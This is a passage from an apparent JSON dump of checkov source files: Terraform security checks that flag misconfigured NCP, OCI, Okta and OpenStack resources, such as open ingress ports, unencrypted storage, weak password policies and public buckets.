    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass ServerPublicIP(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        name = \"Ensure Server instance should not have public IP.\"\n        id = \"CKV_NCP_23\"\n        supported_resource = ('ncloud_public_ip',)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resource)\n\n    def get_inspected_key(self):\n        return 'server_instance_no'\n\n    def get_forbidden_values(self):\n        return [ANY_VALUE]\n\n\ncheck = ServerPublicIP()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/ncp/__init__.py",
    "content": "from pathlib import Path\n\nmodules = Path(__file__).parent.glob(\"*.py\")\n__all__ = [f.stem for f in modules if f.is_file() and not f.stem == \"__init__\"]\n"
  },
  {
    "path": "checkov/terraform/checks/resource/oci/AbsSecurityGroupUnrestrictedIngress.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.util.type_forcers import force_int\n\n\nclass AbsSecurityGroupUnrestrictedIngress(BaseResourceCheck):\n    def __init__(self, check_id: str, port: int) -> None:\n        name = f\"Ensure no security groups rules allow ingress from 0.0.0.0/0 to port {port}\"\n        supported_resources = ['oci_core_network_security_group_security_rule']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources)\n        self.port = port\n\n    def scan_resource_conf(self, conf):\n        direction = conf.get('direction')\n        source = conf.get('source')\n        protocol = conf.get('protocol')\n        tcp_options = conf.get('tcp_options')\n        self.evaluated_keys = [\"direction\"]\n        if direction and direction[0] != 'INGRESS':\n            return CheckResult.UNKNOWN\n        self.evaluated_keys.append(\"source\")\n        if source and source[0] != \"0.0.0.0/0\":\n            return CheckResult.PASSED\n        elif (tcp_options is None and (protocol[0] == 'all' or protocol[0] == '6')) \\\n                or tcp_options and self.scan_protocol_conf(tcp_options) is False:\n            self.evaluated_keys.append(\"protocol\")\n            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n    def scan_protocol_conf(self, protocol_name):\n        \"\"\" scan tcp_options configuration\"\"\"\n        if 'destination_port_range' not in protocol_name[0]:\n            return False\n        max_port = force_int(protocol_name[0]['destination_port_range'][0]['max'][0])\n        min_port = force_int(protocol_name[0]['destination_port_range'][0]['min'][0])\n        if max_port and min_port and min_port <= self.port <= max_port:\n            return False\n        return True\n"
  },
  {
    "path": "checkov/terraform/checks/resource/oci/AbsSecurityListUnrestrictedIngress.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.util.type_forcers import force_int\n\n\nclass AbsSecurityListUnrestrictedIngress(BaseResourceCheck):\n    def __init__(self, check_id, port, is_exposed_by_default):\n        name = f\"Ensure no security list allow ingress from 0.0.0.0:0 to port {port}.\"\n        supported_resources = ['oci_core_security_list']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources)\n        self.port = port\n        self.is_exposed_by_default = is_exposed_by_default\n\n    def scan_resource_conf(self, conf):\n        if 'ingress_security_rules' in conf:\n            self.evaluated_keys = ['ingress_security_rules']\n            rules = conf.get(\"ingress_security_rules\", [])\n\n            for idx, rule in enumerate(rules):\n                if not isinstance(rule, list):\n                    rule = [rule]\n                for sub_rule_idx, sub_rule in enumerate(rule):\n                    if \"0.0.0.0/0\" in sub_rule['source'][0] \\\n                            and (\n                            (sub_rule['protocol'][0] != '1' and ('udp_options' not in sub_rule) and ('tcp_options' not in sub_rule))\n                            or self.scan_protocol_conf(sub_rule, 'tcp_options', idx) != CheckResult.FAILED\n                            or self.scan_protocol_conf(sub_rule, 'udp_options', idx) != CheckResult.FAILED\n                            or sub_rule['protocol'][0] == 'all'):\n                        self.evaluated_keys = [f'ingress_security_rules/[{sub_rule_idx}]/[{idx}]']\n                        return CheckResult.FAILED\n\n            return CheckResult.PASSED\n\n        return CheckResult.FAILED if self.is_exposed_by_default else CheckResult.PASSED\n\n    def scan_protocol_conf(self, rule, protocol_name, idx):\n        \"\"\" scan udp/tcp_options configuration\"\"\"\n        if protocol_name in rule:\n            max_port = force_int(rule[protocol_name][0]['max'][0])\n            min_port = force_int(rule[protocol_name][0]['min'][0])\n            if min_port and max_port and min_port <= self.port <= max_port:\n                return CheckResult.UNKNOWN\n        self.evaluated_keys = [f'ingress_security_rules/[0]/[{idx}]/protocol/[0]/{protocol_name}']\n        return CheckResult.FAILED\n"
  },
  {
    "path": "checkov/terraform/checks/resource/oci/DataCatalogWithPublicAccess.py",
    "content": "# DataCatalogWithPublicAccess\nfrom typing import Dict, List, Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass DataCatalogWithPublicAccess(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure OCI Data Catalog is configured without overly permissive network access\"\n        id = \"CKV_OCI_23\"\n        supported_resources = ['oci_datacatalog_catalog']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n        if \"attached_catalog_private_endpoints\" in conf:\n            if len(conf[\"attached_catalog_private_endpoints\"][0]) > 0:\n                return CheckResult.PASSED\n            else:\n                return CheckResult.FAILED\n        else:\n            return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['attached_catalog_private_endpoints']\n\n\ncheck = DataCatalogWithPublicAccess()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/oci/FileSystemEncryption.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass FileSystemEncryption(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure OCI File System is Encrypted with a customer Managed Key\"\n        id = \"CKV_OCI_15\"\n        supported_resources = ['oci_file_storage_file_system']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'kms_key_id'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = FileSystemEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/oci/IAMPasswordLength.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass IAMPasswordLength(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"OCI IAM password policy for local (non-federated) users has a minimum length of 14 characters\"\n        id = \"CKV_OCI_18\"\n        supported_resources = ('oci_identity_authentication_policy',)\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        if 'password_policy' in conf.keys():\n            self.evaluated_keys = [\"password_policy\"]\n            rules = conf.get(\"password_policy\")[0]\n            if 'minimum_password_length' in rules:\n                password_length = rules.get(\"minimum_password_length\")\n                if isinstance(password_length[0], int) and password_length[0] < 14:\n                    self.evaluated_keys = [\"password_policy/minimum_password_length\"]\n                    return CheckResult.FAILED\n                return CheckResult.PASSED\n            return CheckResult.FAILED\n        return CheckResult.FAILED\n\n\ncheck = IAMPasswordLength()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/oci/IAMPasswordPolicyLowerCase.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass IAMPasswordPolicyLowerCase(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"OCI IAM password policy - must contain lower case\"\n        id = \"CKV_OCI_11\"\n        supported_resources = ['oci_identity_authentication_policy']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'password_policy/[0]/is_lowercase_characters_required'\n\n    def get_expected_value(self):\n        return True\n\n\ncheck = IAMPasswordPolicyLowerCase()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/oci/IAMPasswordPolicyNumeric.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass IAMPasswordPolicyNumeric(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"OCI IAM password policy - must contain Numeric characters\"\n        id = \"CKV_OCI_12\"\n        supported_resources = ['oci_identity_authentication_policy']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'password_policy/[0]/is_numeric_characters_required'\n\n    def get_expected_value(self):\n        return True\n\n\ncheck = IAMPasswordPolicyNumeric()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/oci/IAMPasswordPolicySpecialCharacters.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass IAMPasswordPolicySpecialCharacters(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"OCI IAM password policy - must contain Special characters\"\n        id = \"CKV_OCI_13\"\n        supported_resources = ['oci_identity_authentication_policy']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'password_policy/[0]/is_special_characters_required'\n\n    def get_expected_value(self):\n        return True\n\n\ncheck = IAMPasswordPolicySpecialCharacters()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/oci/IAMPasswordPolicyUpperCase.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass IAMPasswordPolicySpecialCharacters(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"OCI IAM password policy - must contain Uppercase characters\"\n        id = \"CKV_OCI_14\"\n        supported_resources = ['oci_identity_authentication_policy']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'password_policy/[0]/is_uppercase_characters_required'\n\n    def get_expected_value(self):\n        return True\n\n\ncheck = IAMPasswordPolicySpecialCharacters()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/oci/InstanceBootVolumeIntransitEncryption.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass InstanceBootVolumeIntransitEncryption(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure OCI Compute Instance boot volume has in-transit data encryption enabled\"\n        id = \"CKV_OCI_4\"\n        supported_resources = ['oci_core_instance']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"launch_options/[0]/is_pv_encryption_in_transit_enabled\"\n\n    def get_expected_value(self):\n        return True\n\n\ncheck = InstanceBootVolumeIntransitEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/oci/InstanceMetadataServiceEnabled.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass InstanceMetadataServiceEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure OCI Compute Instance has Legacy MetaData service endpoint disabled\"\n        id = \"CKV_OCI_5\"\n        supported_resources = (\"oci_core_instance\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"instance_options/[0]/are_legacy_imds_endpoints_disabled\"\n\n    def get_expected_value(self) -> Any:\n        return True\n\n\ncheck = InstanceMetadataServiceEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/oci/InstanceMonitoringEnabled.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass InstanceMonitoringEnabled(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure OCI Compute Instance has monitoring enabled\"\n        id = \"CKV_OCI_6\"\n        supported_resources = (\"oci_core_instance\",)\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"agent_config/[0]/is_monitoring_disabled\"\n\n    def get_forbidden_values(self) -> list[Any]:\n        return [True]\n\n\ncheck = InstanceMonitoringEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/oci/ObjectStorageEmitEvents.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass ObjectStorageEmitEvents(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure OCI Object Storage bucket can emit object events\"\n        id = \"CKV_OCI_7\"\n        supported_resources = ['oci_objectstorage_bucket']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"object_events_enabled\"\n\n    def get_expected_value(self):\n        return True\n\n\ncheck = ObjectStorageEmitEvents()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/oci/ObjectStorageEncryption.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass ObjectStorageEncryption(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure OCI Object Storage is encrypted with Customer Managed Key\"\n        id = \"CKV_OCI_9\"\n        supported_resources = ['oci_objectstorage_bucket']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"kms_key_id\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = ObjectStorageEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/oci/ObjectStoragePublic.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass ObjectStoragePublic(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        name = \"Ensure OCI Object Storage is not Public\"\n        id = \"CKV_OCI_10\"\n        supported_resources = ['oci_objectstorage_bucket']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"access_type\"\n\n    def get_forbidden_values(self):\n        return [\"ObjectRead\", \"ObjectReadWithoutList\"]\n\n\ncheck = ObjectStoragePublic()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/oci/ObjectStorageVersioning.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass ObjectStorageVersioning(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure OCI Object Storage has versioning enabled\"\n        id = \"CKV_OCI_8\"\n        supported_resources = ['oci_objectstorage_bucket']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"versioning\"\n\n    def get_expected_value(self):\n        return \"Enabled\"\n\n\ncheck = ObjectStorageVersioning()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/oci/SecurityGroupUnrestrictedIngress22.py",
    "content": "from checkov.terraform.checks.resource.oci.AbsSecurityGroupUnrestrictedIngress import \\\n    AbsSecurityGroupUnrestrictedIngress\n\n\nclass SecurityGroupUnrestrictedIngress22(AbsSecurityGroupUnrestrictedIngress):\n    def __init__(self):\n        super().__init__(check_id=\"CKV_OCI_22\", port=22)\n\n\ncheck = AbsSecurityGroupUnrestrictedIngress(\"CKV_OCI_22\", 22)\n"
  },
  {
    "path": "checkov/terraform/checks/resource/oci/SecurityGroupsIngressStatelessSecurityRules.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass SecurityGroupsIngressStatelessSecurityRules(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure security group has stateless ingress security rules\"\n        id = \"CKV_OCI_21\"\n        supported_resources = ('oci_core_network_security_group_security_rule',)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        stateless = conf.get('stateless')\n        direction = conf.get('direction')\n        self.evaluated_keys = [\"direction\"]\n        if direction and direction[0] == 'INGRESS':\n            self.evaluated_keys.append(\"stateless\")\n            if stateless is None or stateless[0] is False:\n                return CheckResult.FAILED\n            return CheckResult.PASSED\n        return CheckResult.UNKNOWN\n\n\ncheck = SecurityGroupsIngressStatelessSecurityRules()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/oci/SecurityListIngress.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass SecurityListIngress(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure VCN has an inbound security list\"\n        id = \"CKV_OCI_16\"\n        supported_resources = ['oci_core_security_list']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'ingress_security_rules/[0]/protocol'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = SecurityListIngress()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/oci/SecurityListIngressStateless.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass SecurityListIngressStateless(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure VCN inbound security lists are stateless\"\n        id = \"CKV_OCI_17\"\n        supported_resources = ['oci_core_security_list']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if 'ingress_security_rules' in conf.keys():\n            self.evaluated_keys = ['ingress_security_rules']\n            rules = conf.get(\"ingress_security_rules\")\n            is_list_syntax = False\n            if isinstance(rules[0], list):\n                # Old terraform oci provider version syntax for ingress_security_rules was a list instead of a block\n                rules = rules[0]\n                is_list_syntax = True\n            for idx, rule in enumerate(rules):\n                if 'stateless' in rule.keys():\n                    stateless = rule.get(\"stateless\")\n                    if stateless != [True] and stateless is not True:\n                        self.evaluated_keys = [f'ingress_security_rules/[{idx}]/stateless'] if is_list_syntax \\\n                            else [f'ingress_security_rules/[0]/[{idx}]/stateless']\n                        return CheckResult.FAILED\n            return CheckResult.PASSED\n\n        return CheckResult.UNKNOWN\n\n\ncheck = SecurityListIngressStateless()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/oci/SecurityListUnrestrictedIngress22.py",
    "content": "from checkov.terraform.checks.resource.oci.AbsSecurityListUnrestrictedIngress import AbsSecurityListUnrestrictedIngress\n\n\nclass SecurityListUnrestrictedIngress22(AbsSecurityListUnrestrictedIngress):\n    def __init__(self):\n        super().__init__(check_id=\"CKV_OCI_19\", port=22, is_exposed_by_default=True)\n\n\ncheck = SecurityListUnrestrictedIngress22()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/oci/SecurityListUnrestrictedIngress3389.py",
    "content": "from checkov.terraform.checks.resource.oci.AbsSecurityListUnrestrictedIngress import AbsSecurityListUnrestrictedIngress\n\n\nclass SecurityListUnrestrictedIngress3389(AbsSecurityListUnrestrictedIngress):\n    def __init__(self):\n        super().__init__(check_id=\"CKV_OCI_20\", port=3389, is_exposed_by_default=False)\n\n\ncheck = SecurityListUnrestrictedIngress3389()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/oci/StorageBlockBackupEnabled.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass StorageBlockBackupEnabled(BaseResourceValueCheck):\n\n    def __init__(self):\n        name = \"Ensure OCI Block Storage Block Volume has backup enabled\"\n        id = \"CKV_OCI_2\"\n        supported_resources = ['oci_core_volume']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"backup_policy_id\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = StorageBlockBackupEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/oci/StorageBlockEncryption.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass StorageBlockEncryption(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"OCI Block Storage Block Volumes are not encrypted with a Customer Managed Key (CMK)\"\n        id = \"CKV_OCI_3\"\n        supported_resources = ('oci_core_volume',)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return 'kms_key_id'\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = StorageBlockEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/oci/__init__.py",
    "content": "from pathlib import Path\n\nmodules = Path(__file__).parent.glob(\"*.py\")\n__all__ = [f.stem for f in modules if f.is_file() and not f.stem == \"__init__\"]\n"
  },
  {
    "path": "checkov/terraform/checks/resource/okta/TwoFASignOnPolicyRule.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass TwoFASignOnPolicyRule(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure 2FA is enabled for an Okta application signon policy rule\"\n        id = \"CKV_OKTA_1\"\n        supported_resources = [\"okta_app_signon_policy_rule\"]\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        if \"factor_mode\" in conf:\n            factor_mode = conf[\"factor_mode\"][0]\n            if factor_mode == \"1FA\":\n                return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = TwoFASignOnPolicyRule()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/okta/__init__.py",
    "content": "from os.path import dirname, basename, isfile, join\nimport glob\n\nmodules = glob.glob(join(dirname(__file__), \"*.py\"))\n__all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith(\"__init__.py\")]\n"
  },
  {
    "path": "checkov/terraform/checks/resource/openstack/AbsSecurityGroupUnrestrictedIngress.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.util.type_forcers import force_list\nfrom checkov.common.util.type_forcers import force_int\n\n\nclass AbsSecurityGroupUnrestrictedIngress(BaseResourceCheck):\n    def __init__(self, check_id, port):\n        name = f\"Ensure no security groups allow ingress from 0.0.0.0:0 to port {port:d} (tcp / udp)\"\n        supported_resources = ['openstack_compute_secgroup_v2', 'openstack_networking_secgroup_rule_v2']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources)\n        self.port = port\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n            Looks for configuration at security group ingress rules:\n            https://registry.terraform.io/providers/terraform-provider-openstack/openstack/latest/docs/resources/compute_secgroup_v2\n            https://registry.terraform.io/providers/terraform-provider-openstack/openstack/latest/docs/resources/networking_secgroup_rule_v2\n\n            Return PASS if:\n            - the resource is an openstack_compute_secgroup_v2 that contains no violating rules (including if there are\n              no rules at all), OR\n            - the resource is an openstack_networking_secgroup_rule_v2 of type 'ingress' that does not violate the\n              check.\n\n            Return FAIL if:\n            - the resource is an openstack_compute_secgroup_v2 that contains a violating rule, OR\n            - the resource is an openstack_networking_secgroup_rule_v2 of type 'ingress' that violates the check.\n\n            Return UNKNOWN if:\n            - the resource is an openstack_networking_secgroup_rule_v2 of type 'egress'\n\n        :param conf: openstack_compute_secgroup_v2|openstack_networking_secgroup_rule_v2 configuration\n        :return: <CheckResult>\n        \"\"\"\n\n        if 'rule' in conf:  # This means it's an SG resource with rule block(s)\n            rules = conf['rule']\n            for rule in rules:\n                if isinstance(rule, dict) and self.contains_violation(rule, 'ip_protocol', 'from_port', 'to_port',\n                                                                      'cidr'):\n                    self.evaluated_keys = [\n                        f'rule/[{rules.index(rule)}]/ip_protocol',\n                        f'rule/[{rules.index(rule)}]/from_port',\n                        f'rule/[{rules.index(rule)}]/to_port',\n                        f'rule/[{rules.index(rule)}]/cidr',\n                    ]\n                    return CheckResult.FAILED\n\n            return CheckResult.PASSED\n\n        if 'direction' in conf:  # This means it's an SG_rule resource.\n            direction = force_list(conf['direction'])[0]\n            if direction == 'ingress':\n                self.evaluated_keys = ['protocol', 'port_range_min', 'port_range_max', 'remote_ip_prefix']\n                if self.contains_violation(conf, 'protocol', 'port_range_min', 'port_range_max', 'remote_ip_prefix'):\n                    return CheckResult.FAILED\n                return CheckResult.PASSED\n            return CheckResult.UNKNOWN\n\n        # The result for an SG with no ingress block\n        return CheckResult.PASSED\n\n    def contains_violation(self, conf, protocol_key, from_port_key, to_port_key, cidr_key):\n        protocol = force_list(conf.get(protocol_key, [{-1}]))[0]\n        from_port = force_int(force_list(conf.get(from_port_key, [{-1}]))[0])\n        to_port = force_int(force_list(conf.get(to_port_key, [{-1}]))[0])\n\n        if protocol == \"icmp\":\n            return False\n\n        if from_port is not None and to_port is not None and (from_port <= self.port <= to_port):\n            cidr = conf.get(cidr_key, [])\n            if len(cidr) > 0 and cidr[0] in ['0.0.0.0/0', '::/0', '0000:0000:0000:0000:0000:0000:0000:0000/0']:\n                return True\n        return False\n"
  },
  {
    "path": "checkov/terraform/checks/resource/openstack/ComputeInstanceAdminPassword.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass ComputeInstanceAdminPassword(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        name = \"Ensure that instance does not use basic credentials\"\n        id = \"CKV_OPENSTACK_4\"\n        supported_resources = ['openstack_compute_instance_v2']\n        categories = [CheckCategories.SECRETS]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_attribute_result=CheckResult.PASSED)\n\n    def scan_resource_conf(self, conf):\n        admin_pass = conf.get('admin_pass')\n        if isinstance(admin_pass, list):\n            admin_pass = admin_pass[0]\n        if admin_pass:  # should be missing, or an empty string\n            conf[f'{self.id}_secret'] = admin_pass\n            return CheckResult.FAILED\n        else:\n            return CheckResult.PASSED\n\n    def get_inspected_key(self) -> str:\n        return 'admin_pass'\n\n    def get_forbidden_values(self):\n        return [ANY_VALUE]\n\n\ncheck = ComputeInstanceAdminPassword()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/openstack/FirewallRuleSetDestinationIP.py",
    "content": "from typing import List\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass FirewallRuleSetDestinationIP(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure firewall rule set a destination IP\"\n        id = \"CKV_OPENSTACK_5\"\n        supported_resources = (\"openstack_fw_rule_v1\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n            missing_attribute_result=CheckResult.FAILED,\n        )\n\n    def get_inspected_key(self) -> str:\n        return \"destination_ip_address\"\n\n    def get_forbidden_values(self) -> List[str]:\n        return [\"0.0.0.0/0\", \"0.0.0.0\"]  # nosec\n\n\ncheck = FirewallRuleSetDestinationIP()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/openstack/SecurityGroupUnrestrictedIngress22.py",
    "content": "from checkov.terraform.checks.resource.openstack.AbsSecurityGroupUnrestrictedIngress import AbsSecurityGroupUnrestrictedIngress\n\n\nclass SecurityGroupUnrestrictedIngress22(AbsSecurityGroupUnrestrictedIngress):\n    def __init__(self):\n        super().__init__(check_id=\"CKV_OPENSTACK_2\", port=22)\n\n\ncheck = SecurityGroupUnrestrictedIngress22()\n"
  },
  {
